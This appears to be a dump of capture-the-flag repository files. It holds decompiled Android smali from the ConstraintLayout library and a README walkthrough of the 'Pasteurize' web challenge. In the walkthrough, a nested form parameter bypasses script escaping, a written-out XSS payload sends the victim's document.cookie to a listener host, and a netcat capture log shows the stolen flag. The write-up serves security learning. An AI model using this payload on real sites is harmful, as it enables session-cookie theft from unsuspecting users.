143 | .locals 1
144 | .param p0, "name" # Ljava/lang/String;
145 |
146 | .line 65
147 | const-class v0, Landroid/support/constraint/solver/SolverVariable$Type;
148 |
149 | invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
150 |
151 | move-result-object v0
152 |
153 | check-cast v0, Landroid/support/constraint/solver/SolverVariable$Type;
154 |
155 | return-object v0
156 | .end method
157 |
158 | .method public static values()[Landroid/support/constraint/solver/SolverVariable$Type;
159 | .locals 1
160 |
161 | .line 65
162 | sget-object v0, Landroid/support/constraint/solver/SolverVariable$Type;->$VALUES:[Landroid/support/constraint/solver/SolverVariable$Type;
163 |
164 | invoke-virtual {v0}, [Landroid/support/constraint/solver/SolverVariable$Type;->clone()Ljava/lang/Object;
165 |
166 | move-result-object v0
167 |
168 | check-cast v0, [Landroid/support/constraint/solver/SolverVariable$Type;
169 |
170 | return-object v0
171 | .end method
172 |
--------------------------------------------------------------------------------
/reversing/android/reverse/res/values/public.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/Constraints.smali:
--------------------------------------------------------------------------------
1 | .class public Landroid/support/constraint/Constraints;
2 | .super Landroid/view/ViewGroup;
3 | .source "Constraints.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/MemberClasses;
8 | value = {
9 | Landroid/support/constraint/Constraints$LayoutParams;
10 | }
11 | .end annotation
12 |
13 |
14 | # static fields
15 | .field public static final TAG:Ljava/lang/String; = "Constraints"
16 |
17 |
18 | # instance fields
19 | .field myConstraintSet:Landroid/support/constraint/ConstraintSet;
20 |
21 |
22 | # direct methods
23 | .method public constructor (Landroid/content/Context;)V
24 | .locals 1
25 | .param p1, "context" # Landroid/content/Context;
26 |
27 | .line 41
28 | invoke-direct {p0, p1}, Landroid/view/ViewGroup;->(Landroid/content/Context;)V
29 |
30 | .line 42
31 | const/16 v0, 0x8
32 |
33 | invoke-super {p0, v0}, Landroid/view/ViewGroup;->setVisibility(I)V
34 |
35 | .line 43
36 | return-void
37 | .end method
38 |
39 | .method public constructor (Landroid/content/Context;Landroid/util/AttributeSet;)V
40 | .locals 1
41 | .param p1, "context" # Landroid/content/Context;
42 | .param p2, "attrs" # Landroid/util/AttributeSet;
43 |
44 | .line 46
45 | invoke-direct {p0, p1, p2}, Landroid/view/ViewGroup;->(Landroid/content/Context;Landroid/util/AttributeSet;)V
46 |
47 | .line 47
48 | invoke-direct {p0, p2}, Landroid/support/constraint/Constraints;->init(Landroid/util/AttributeSet;)V
49 |
50 | .line 48
51 | const/16 v0, 0x8
52 |
53 | invoke-super {p0, v0}, Landroid/view/ViewGroup;->setVisibility(I)V
54 |
55 | .line 49
56 | return-void
57 | .end method
58 |
59 | .method public constructor (Landroid/content/Context;Landroid/util/AttributeSet;I)V
60 | .locals 1
61 | .param p1, "context" # Landroid/content/Context;
62 | .param p2, "attrs" # Landroid/util/AttributeSet;
63 | .param p3, "defStyleAttr" # I
64 |
65 | .line 52
66 | invoke-direct {p0, p1, p2, p3}, Landroid/view/ViewGroup;->(Landroid/content/Context;Landroid/util/AttributeSet;I)V
67 |
68 | .line 53
69 | invoke-direct {p0, p2}, Landroid/support/constraint/Constraints;->init(Landroid/util/AttributeSet;)V
70 |
71 | .line 54
72 | const/16 v0, 0x8
73 |
74 | invoke-super {p0, v0}, Landroid/view/ViewGroup;->setVisibility(I)V
75 |
76 | .line 55
77 | return-void
78 | .end method
79 |
80 | .method private init(Landroid/util/AttributeSet;)V
81 | .locals 2
82 | .param p1, "attrs" # Landroid/util/AttributeSet;
83 |
84 | .line 135
85 | const-string v0, "Constraints"
86 |
87 | const-string v1, " ################# init"
88 |
89 | invoke-static {v0, v1}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I
90 |
91 | .line 136
92 | return-void
93 | .end method
94 |
95 |
96 | # virtual methods
97 | .method protected generateDefaultLayoutParams()Landroid/support/constraint/Constraints$LayoutParams;
98 | .locals 2
99 |
100 | .line 131
101 | new-instance v0, Landroid/support/constraint/Constraints$LayoutParams;
102 |
103 | const/4 v1, -0x2
104 |
105 | invoke-direct {v0, v1, v1}, Landroid/support/constraint/Constraints$LayoutParams;->(II)V
106 |
107 | return-object v0
108 | .end method
109 |
110 | .method protected bridge synthetic generateDefaultLayoutParams()Landroid/view/ViewGroup$LayoutParams;
111 | .locals 1
112 |
113 | .line 35
114 | invoke-virtual {p0}, Landroid/support/constraint/Constraints;->generateDefaultLayoutParams()Landroid/support/constraint/Constraints$LayoutParams;
115 |
116 | move-result-object v0
117 |
118 | return-object v0
119 | .end method
120 |
121 | .method public generateLayoutParams(Landroid/util/AttributeSet;)Landroid/support/constraint/Constraints$LayoutParams;
122 | .locals 2
123 | .param p1, "attrs" # Landroid/util/AttributeSet;
124 |
125 | .line 62
126 | new-instance v0, Landroid/support/constraint/Constraints$LayoutParams;
127 |
128 | invoke-virtual {p0}, Landroid/support/constraint/Constraints;->getContext()Landroid/content/Context;
129 |
130 | move-result-object v1
131 |
132 | invoke-direct {v0, v1, p1}, Landroid/support/constraint/Constraints$LayoutParams;->(Landroid/content/Context;Landroid/util/AttributeSet;)V
133 |
134 | return-object v0
135 | .end method
136 |
137 | .method public bridge synthetic generateLayoutParams(Landroid/util/AttributeSet;)Landroid/view/ViewGroup$LayoutParams;
138 | .locals 0
139 |
140 | .line 35
141 | invoke-virtual {p0, p1}, Landroid/support/constraint/Constraints;->generateLayoutParams(Landroid/util/AttributeSet;)Landroid/support/constraint/Constraints$LayoutParams;
142 |
143 | move-result-object p1
144 |
145 | return-object p1
146 | .end method
147 |
148 | .method protected generateLayoutParams(Landroid/view/ViewGroup$LayoutParams;)Landroid/view/ViewGroup$LayoutParams;
149 | .locals 1
150 | .param p1, "p" # Landroid/view/ViewGroup$LayoutParams;
151 |
152 | .line 143
153 | new-instance v0, Landroid/support/constraint/ConstraintLayout$LayoutParams;
154 |
155 | invoke-direct {v0, p1}, Landroid/support/constraint/ConstraintLayout$LayoutParams;->(Landroid/view/ViewGroup$LayoutParams;)V
156 |
157 | return-object v0
158 | .end method
159 |
160 | .method public getConstraintSet()Landroid/support/constraint/ConstraintSet;
161 | .locals 1
162 |
163 | .line 147
164 | iget-object v0, p0, Landroid/support/constraint/Constraints;->myConstraintSet:Landroid/support/constraint/ConstraintSet;
165 |
166 | if-nez v0, :cond_0
167 |
168 | .line 148
169 | new-instance v0, Landroid/support/constraint/ConstraintSet;
170 |
171 | invoke-direct {v0}, Landroid/support/constraint/ConstraintSet;->()V
172 |
173 | iput-object v0, p0, Landroid/support/constraint/Constraints;->myConstraintSet:Landroid/support/constraint/ConstraintSet;
174 |
175 | .line 151
176 | :cond_0
177 | iget-object v0, p0, Landroid/support/constraint/Constraints;->myConstraintSet:Landroid/support/constraint/ConstraintSet;
178 |
179 | invoke-virtual {v0, p0}, Landroid/support/constraint/ConstraintSet;->clone(Landroid/support/constraint/Constraints;)V
180 |
181 | .line 152
182 | iget-object v0, p0, Landroid/support/constraint/Constraints;->myConstraintSet:Landroid/support/constraint/ConstraintSet;
183 |
184 | return-object v0
185 | .end method
186 |
187 | .method protected onLayout(ZIIII)V
188 | .locals 0
189 | .param p1, "changed" # Z
190 | .param p2, "l" # I
191 | .param p3, "t" # I
192 | .param p4, "r" # I
193 | .param p5, "b" # I
194 |
195 | .line 159
196 | return-void
197 | .end method
198 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour.smali:
--------------------------------------------------------------------------------
1 | .class public final enum Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
2 | .super Ljava/lang/Enum;
3 | .source "ConstraintWidget.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Landroid/support/constraint/solver/widgets/ConstraintWidget;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x4019
13 | name = "DimensionBehaviour"
14 | .end annotation
15 |
16 | .annotation system Ldalvik/annotation/Signature;
17 | value = {
18 | "Ljava/lang/Enum<",
19 | "Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;",
20 | ">;"
21 | }
22 | .end annotation
23 |
24 |
25 | # static fields
26 | .field private static final synthetic $VALUES:[Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
27 |
28 | .field public static final enum FIXED:Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
29 |
30 | .field public static final enum MATCH_CONSTRAINT:Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
31 |
32 | .field public static final enum MATCH_PARENT:Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
33 |
34 | .field public static final enum WRAP_CONTENT:Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
35 |
36 |
37 | # direct methods
38 | .method static constructor ()V
39 | .locals 6
40 |
41 | .line 143
42 | new-instance v0, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
43 |
44 | const-string v1, "FIXED"
45 |
46 | const/4 v2, 0x0
47 |
48 | invoke-direct {v0, v1, v2}, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;->(Ljava/lang/String;I)V
49 |
50 | sput-object v0, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;->FIXED:Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
51 |
52 | new-instance v0, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
53 |
54 | const-string v1, "WRAP_CONTENT"
55 |
56 | const/4 v3, 0x1
57 |
58 | invoke-direct {v0, v1, v3}, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;->(Ljava/lang/String;I)V
59 |
60 | sput-object v0, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;->WRAP_CONTENT:Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
61 |
62 | new-instance v0, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
63 |
64 | const-string v1, "MATCH_CONSTRAINT"
65 |
66 | const/4 v4, 0x2
67 |
68 | invoke-direct {v0, v1, v4}, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;->(Ljava/lang/String;I)V
69 |
70 | sput-object v0, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;->MATCH_CONSTRAINT:Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
71 |
72 | new-instance v0, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
73 |
74 | const-string v1, "MATCH_PARENT"
75 |
76 | const/4 v5, 0x3
77 |
78 | invoke-direct {v0, v1, v5}, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;->(Ljava/lang/String;I)V
79 |
80 | sput-object v0, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;->MATCH_PARENT:Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
81 |
82 | .line 142
83 | const/4 v0, 0x4
84 |
85 | new-array v0, v0, [Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
86 |
87 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;->FIXED:Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
88 |
89 | aput-object v1, v0, v2
90 |
91 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;->WRAP_CONTENT:Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
92 |
93 | aput-object v1, v0, v3
94 |
95 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;->MATCH_CONSTRAINT:Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
96 |
97 | aput-object v1, v0, v4
98 |
99 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;->MATCH_PARENT:Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
100 |
101 | aput-object v1, v0, v5
102 |
103 | sput-object v0, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;->$VALUES:[Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
104 |
105 | return-void
106 | .end method
107 |
108 | .method private constructor (Ljava/lang/String;I)V
109 | .locals 0
110 | .annotation system Ldalvik/annotation/Signature;
111 | value = {
112 | "()V"
113 | }
114 | .end annotation
115 |
116 | .line 142
117 | invoke-direct {p0, p1, p2}, Ljava/lang/Enum;->(Ljava/lang/String;I)V
118 |
119 | return-void
120 | .end method
121 |
122 | .method public static valueOf(Ljava/lang/String;)Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
123 | .locals 1
124 | .param p0, "name" # Ljava/lang/String;
125 |
126 | .line 142
127 | const-class v0, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
128 |
129 | invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
130 |
131 | move-result-object v0
132 |
133 | check-cast v0, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
134 |
135 | return-object v0
136 | .end method
137 |
138 | .method public static values()[Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
139 | .locals 1
140 |
141 | .line 142
142 | sget-object v0, Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;->$VALUES:[Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
143 |
144 | invoke-virtual {v0}, [Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;->clone()Ljava/lang/Object;
145 |
146 | move-result-object v0
147 |
148 | check-cast v0, [Landroid/support/constraint/solver/widgets/ConstraintWidget$DimensionBehaviour;
149 |
150 | return-object v0
151 | .end method
152 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/widgets/ResolutionNode.smali:
--------------------------------------------------------------------------------
1 | .class public Landroid/support/constraint/solver/widgets/ResolutionNode;
2 | .super Ljava/lang/Object;
3 | .source "ResolutionNode.java"
4 |
5 |
6 | # static fields
7 | .field public static final REMOVED:I = 0x2
8 |
9 | .field public static final RESOLVED:I = 0x1
10 |
11 | .field public static final UNRESOLVED:I
12 |
13 |
14 | # instance fields
15 | .field dependents:Ljava/util/HashSet;
16 | .annotation system Ldalvik/annotation/Signature;
17 | value = {
18 | "Ljava/util/HashSet<",
19 | "Landroid/support/constraint/solver/widgets/ResolutionNode;",
20 | ">;"
21 | }
22 | .end annotation
23 | .end field
24 |
25 | .field state:I
26 |
27 |
28 | # direct methods
29 | .method public constructor ()V
30 | .locals 2
31 |
32 | .line 23
33 | invoke-direct {p0}, Ljava/lang/Object;->()V
34 |
35 | .line 24
36 | new-instance v0, Ljava/util/HashSet;
37 |
38 | const/4 v1, 0x2
39 |
40 | invoke-direct {v0, v1}, Ljava/util/HashSet;->(I)V
41 |
42 | iput-object v0, p0, Landroid/support/constraint/solver/widgets/ResolutionNode;->dependents:Ljava/util/HashSet;
43 |
44 | .line 35
45 | const/4 v0, 0x0
46 |
47 | iput v0, p0, Landroid/support/constraint/solver/widgets/ResolutionNode;->state:I
48 |
49 | return-void
50 | .end method
51 |
52 |
53 | # virtual methods
54 | .method public addDependent(Landroid/support/constraint/solver/widgets/ResolutionNode;)V
55 | .locals 1
56 | .param p1, "node" # Landroid/support/constraint/solver/widgets/ResolutionNode;
57 |
58 | .line 38
59 | iget-object v0, p0, Landroid/support/constraint/solver/widgets/ResolutionNode;->dependents:Ljava/util/HashSet;
60 |
61 | invoke-virtual {v0, p1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
62 |
63 | .line 39
64 | return-void
65 | .end method
66 |
67 | .method public didResolve()V
68 | .locals 2
69 |
70 | .line 63
71 | const/4 v0, 0x1
72 |
73 | iput v0, p0, Landroid/support/constraint/solver/widgets/ResolutionNode;->state:I
74 |
75 | .line 70
76 | iget-object v0, p0, Landroid/support/constraint/solver/widgets/ResolutionNode;->dependents:Ljava/util/HashSet;
77 |
78 | invoke-virtual {v0}, Ljava/util/HashSet;->iterator()Ljava/util/Iterator;
79 |
80 | move-result-object v0
81 |
82 | :goto_0
83 | invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
84 |
85 | move-result v1
86 |
87 | if-eqz v1, :cond_0
88 |
89 | invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
90 |
91 | move-result-object v1
92 |
93 | check-cast v1, Landroid/support/constraint/solver/widgets/ResolutionNode;
94 |
95 | .line 71
96 | .local v1, "node":Landroid/support/constraint/solver/widgets/ResolutionNode;
97 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ResolutionNode;->resolve()V
98 |
99 | .line 72
100 | .end local v1 # "node":Landroid/support/constraint/solver/widgets/ResolutionNode;
101 | goto :goto_0
102 |
103 | .line 73
104 | :cond_0
105 | return-void
106 | .end method
107 |
108 | .method public invalidate()V
109 | .locals 2
110 |
111 | .line 47
112 | const/4 v0, 0x0
113 |
114 | iput v0, p0, Landroid/support/constraint/solver/widgets/ResolutionNode;->state:I
115 |
116 | .line 48
117 | iget-object v0, p0, Landroid/support/constraint/solver/widgets/ResolutionNode;->dependents:Ljava/util/HashSet;
118 |
119 | invoke-virtual {v0}, Ljava/util/HashSet;->iterator()Ljava/util/Iterator;
120 |
121 | move-result-object v0
122 |
123 | :goto_0
124 | invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
125 |
126 | move-result v1
127 |
128 | if-eqz v1, :cond_0
129 |
130 | invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
131 |
132 | move-result-object v1
133 |
134 | check-cast v1, Landroid/support/constraint/solver/widgets/ResolutionNode;
135 |
136 | .line 49
137 | .local v1, "node":Landroid/support/constraint/solver/widgets/ResolutionNode;
138 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ResolutionNode;->invalidate()V
139 |
140 | .line 50
141 | .end local v1 # "node":Landroid/support/constraint/solver/widgets/ResolutionNode;
142 | goto :goto_0
143 |
144 | .line 51
145 | :cond_0
146 | return-void
147 | .end method
148 |
149 | .method public invalidateAnchors()V
150 | .locals 2
151 |
152 | .line 54
153 | instance-of v0, p0, Landroid/support/constraint/solver/widgets/ResolutionAnchor;
154 |
155 | if-eqz v0, :cond_0
156 |
157 | .line 55
158 | const/4 v0, 0x0
159 |
160 | iput v0, p0, Landroid/support/constraint/solver/widgets/ResolutionNode;->state:I
161 |
162 | .line 57
163 | :cond_0
164 | iget-object v0, p0, Landroid/support/constraint/solver/widgets/ResolutionNode;->dependents:Ljava/util/HashSet;
165 |
166 | invoke-virtual {v0}, Ljava/util/HashSet;->iterator()Ljava/util/Iterator;
167 |
168 | move-result-object v0
169 |
170 | :goto_0
171 | invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
172 |
173 | move-result v1
174 |
175 | if-eqz v1, :cond_1
176 |
177 | invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
178 |
179 | move-result-object v1
180 |
181 | check-cast v1, Landroid/support/constraint/solver/widgets/ResolutionNode;
182 |
183 | .line 58
184 | .local v1, "node":Landroid/support/constraint/solver/widgets/ResolutionNode;
185 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ResolutionNode;->invalidateAnchors()V
186 |
187 | .line 59
188 | .end local v1 # "node":Landroid/support/constraint/solver/widgets/ResolutionNode;
189 | goto :goto_0
190 |
191 | .line 60
192 | :cond_1
193 | return-void
194 | .end method
195 |
196 | .method public isResolved()Z
197 | .locals 2
198 |
199 | .line 76
200 | iget v0, p0, Landroid/support/constraint/solver/widgets/ResolutionNode;->state:I
201 |
202 | const/4 v1, 0x1
203 |
204 | if-ne v0, v1, :cond_0
205 |
206 | goto :goto_0
207 |
208 | :cond_0
209 | const/4 v1, 0x0
210 |
211 | :goto_0
212 | return v1
213 | .end method
214 |
215 | .method public remove(Landroid/support/constraint/solver/widgets/ResolutionDimension;)V
216 | .locals 0
217 | .param p1, "resolutionDimension" # Landroid/support/constraint/solver/widgets/ResolutionDimension;
218 |
219 | .line 85
220 | return-void
221 | .end method
222 |
223 | .method public reset()V
224 | .locals 1
225 |
226 | .line 42
227 | const/4 v0, 0x0
228 |
229 | iput v0, p0, Landroid/support/constraint/solver/widgets/ResolutionNode;->state:I
230 |
231 | .line 43
232 | iget-object v0, p0, Landroid/support/constraint/solver/widgets/ResolutionNode;->dependents:Ljava/util/HashSet;
233 |
234 | invoke-virtual {v0}, Ljava/util/HashSet;->clear()V
235 |
236 | .line 44
237 | return-void
238 | .end method
239 |
240 | .method public resolve()V
241 | .locals 0
242 |
243 | .line 81
244 | return-void
245 | .end method
246 |
--------------------------------------------------------------------------------
/web/pasteurize/README.md:
--------------------------------------------------------------------------------
1 | # PASTEURIZE
2 |
3 | ## Prompt
4 |
5 | This doesn't look secure. I wouldn't put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?
6 |
7 | https://pasteurize.web.ctfcompetition.com/
8 |
9 | ## Files
10 |
11 | * [source.txt](source.txt) - Source code referenced in HTML comment of each paste
12 | * [payload.txt](payload.txt) - Payload used to XSS a paste
13 | * [flag.txt](flag.txt) - Flag retrieved from TJMike🎤's cookie
14 |
15 | ## Solution
16 |
17 | ### Understanding The Problem
18 |
19 | I started by checking out the website. It seems pretty simple. You can make 'pastes':
20 |
21 |
22 |
23 | What surprised me right off the bat was that HTML tags work! And there's a share button right there!
24 |
25 |
26 |
27 | This is great! We just throw in `` and we have XSS! It couldn't possibly be that easy, right?
28 |
29 | Of course it's not that easy. For some reason, `script` tags and `onerror` attributes and every other useful tag/attribute is stripped :(
30 |
31 | One *View Page Source* later, all is revealed:
32 |
33 |
34 |
35 | That's a lot to unpack. The comment here plus the TJMike🎤 button pretty much confirm that XSS is the goal and not SQLi or finding something 'malicious' left by a third party. It also gives us a hint about where to find the source code for this web app: https://pasteurize.web.ctfcompetition.com/source
36 |
37 | The first script block is also interesting. It looks like our input string was escaped, but then gets sanitized using `DOMPurify.sanitize(note)`. I hadn't heard of it before, but it seems like a really popular (and unfortunately robust) sanitization tool. There are some DOMPurify exploits, but only for older versions. `DOMPurify.version` in the console showed version `2.0.12`. I also tried escaping the script block before sanitization with double quotes, but those are also escaped...
38 |
39 | The second script block will display an additional text box if you pass a `msg` argument. I thought that might be useful to bypass sanitization. So I tried to pass `?msg=` to my paste, and that worked, but unfortunately it was all URL encoded...
40 |
41 | But now we have a heading! Find some bug in https://pasteurize.web.ctfcompetition.com/source that allows XSS, probably something that's able to escape out of script block #1 before DOMPurify sanitizes it.
42 |
43 | ## Bug Hunting
44 |
45 | Let's start digging through the source of this app. It's very easy to read, commented even!
46 |
47 | The big sections that stood out to me were the escape function:
48 |
49 | ```
50 | /* Who wants a slice? */
51 | const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
52 | .replace(//g, '\\x3E');
53 | ```
54 |
55 | And the GET function:
56 |
57 | ```
58 | /* Make sure to properly escape the note! */
59 | app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
60 | const note_id = req.params.id;
61 | const note = await DB.get_note(note_id);
62 |
63 | if (note == null) {
64 | return res.status(404).send("Paste not found or access has been denied.");
65 | }
66 |
67 | const unsafe_content = note.content;
68 | const safe_content = escape_string(unsafe_content);
69 |
70 | res.render('note_public', {
71 | content: safe_content,
72 | id: note_id,
73 | captcha: res.recaptcha
74 | });
75 | });
76 | ```
77 |
78 | At face value it seems perfectly innocuous. Strings are stored unescaped, then `JSON.stringify()` and the replace functions are used to strip out all of the bad stuff. Totally acceptable way of doing things, right? I spent so many hours trying to figure out how the escape function might be missing a character or some sort of race condition or anything at all, nothing worked. But then I started looking around at other areas of the source. Like the reCAPTCHA stuff. This section caught my eye:
79 |
80 | ```
81 | /* They say reCAPTCHA needs those. But does it? */
82 | app.use(bodyParser.urlencoded({
83 | extended: true
84 | }));
85 | ```
86 |
87 | Is this a hint that the author didn't know what they were doing when they wrote this? What does this mean? It talks about encodings so I figured at this point it was worth investigating. After some quick googling, found this post: https://stackoverflow.com/a/39779840
88 |
89 | > If extended is false, you can not post "nested object"
90 | >
91 | > `person[name] = 'cw'`
92 | >
93 | > `// Nested Object = { person: { name: cw } }>`
94 | >
95 | > If extended is true, you can do whatever way that you like.
96 |
97 | At first this didn't seem very useful. I had tried (I thought) to post nested objects by inserting `{x: {y: "z"}`, but quotes were always escaped! Then I realized that I hadn't ever really looked at what format the data was being posted in. So back to the developer console to see what's going on.
98 |
99 |
100 |
101 | Interesting! If `content=Test` is allowed, maybe if we nest something inside of content it will be allowed too! Something like `content[test]=Test` At this point I would normally get out Burp to start editing requests, but I discovered that Firefox has an *Edit and Resend* option if you right-click on a request!
102 |
103 |
104 |
105 | What I expected to see was either no response, an error, or normally displayed content. Instead, I got a new paste with no content! This seemed like a really good sign. I checked out that first script block to see what it looked like and was relieved to see this beauty:
106 |
107 |
108 |
109 | It put additional quotes around our nested `test` object and didn't escape them!!! This is perfect!!! Escaping at the top of the script block means we have total control over everything that happens.
110 |
111 | ## Forming A Payload
112 |
113 | Usually in challenges like these, the goal is to steal another user's cookie, in this case TJMike🎤. The way I am most familiar with is to append `document.cookie` to an image request: ` `. Here's the game plan:
114 |
115 | 1. Cleanly escape the script block quotes to prevent errors, starting with a semi-colon should do the job
116 | 2. Create an image tag by setting `innerHTML` of the `note-content` object
117 | 3. Set the `src` of the new image to a server we control with the cookie appended
118 | 4. `exit()` the script block to prevent anything else from executing.
119 |
120 | Double quotes are still escaped, so we have to use single quotes. The `+` sign also needs to be encoded for this to work correctly.
121 |
122 | ```
123 | content[;document.getElementById('note-content').innerHTML=' ';exit();//]=pwnd
124 | ```
125 |
126 | That's it! Run netcat on the listening box, summon TJMike🎤, and get the flag:
127 |
128 | ```
129 | $ nc -lvnp 1337
130 | Connection from 104.155.55.51:40640
131 | GET /?c=secret=CTF{Express_t0_Tr0ubl3s}
132 | Pragma: no-cache
133 | User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4182.0 Safari/537.36
134 | Accept-Encoding: gzip, deflate
135 | Host: 1.2.3.4:1337
136 | Via: 1.1 infra-squid (squid/3.5.27)
137 | X-Forwarded-For: 34.78.209.239
138 | Cache-Control: no-cache
139 | Connection:keep-alive
140 | ```
141 |
142 |
143 |
144 | ## Resources
145 |
146 | * Stack Overflow - Extended Body Parser: https://stackoverflow.com/a/39779840
147 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/widgets/Guideline$1.smali:
--------------------------------------------------------------------------------
1 | .class synthetic Landroid/support/constraint/solver/widgets/Guideline$1;
2 | .super Ljava/lang/Object;
3 | .source "Guideline.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Landroid/support/constraint/solver/widgets/Guideline;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x1008
13 | name = null
14 | .end annotation
15 |
16 |
17 | # static fields
18 | .field static final synthetic $SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
19 |
20 |
21 | # direct methods
22 | .method static constructor ()V
23 | .locals 3
24 |
25 | .line 137
26 | invoke-static {}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->values()[Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
27 |
28 | move-result-object v0
29 |
30 | array-length v0, v0
31 |
32 | new-array v0, v0, [I
33 |
34 | sput-object v0, Landroid/support/constraint/solver/widgets/Guideline$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
35 |
36 | :try_start_0
37 | sget-object v0, Landroid/support/constraint/solver/widgets/Guideline$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
38 |
39 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->LEFT:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
40 |
41 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
42 |
43 | move-result v1
44 |
45 | const/4 v2, 0x1
46 |
47 | aput v2, v0, v1
48 | :try_end_0
49 | .catch Ljava/lang/NoSuchFieldError; {:try_start_0 .. :try_end_0} :catch_0
50 |
51 | goto :goto_0
52 |
53 | :catch_0
54 | move-exception v0
55 |
56 | :goto_0
57 | :try_start_1
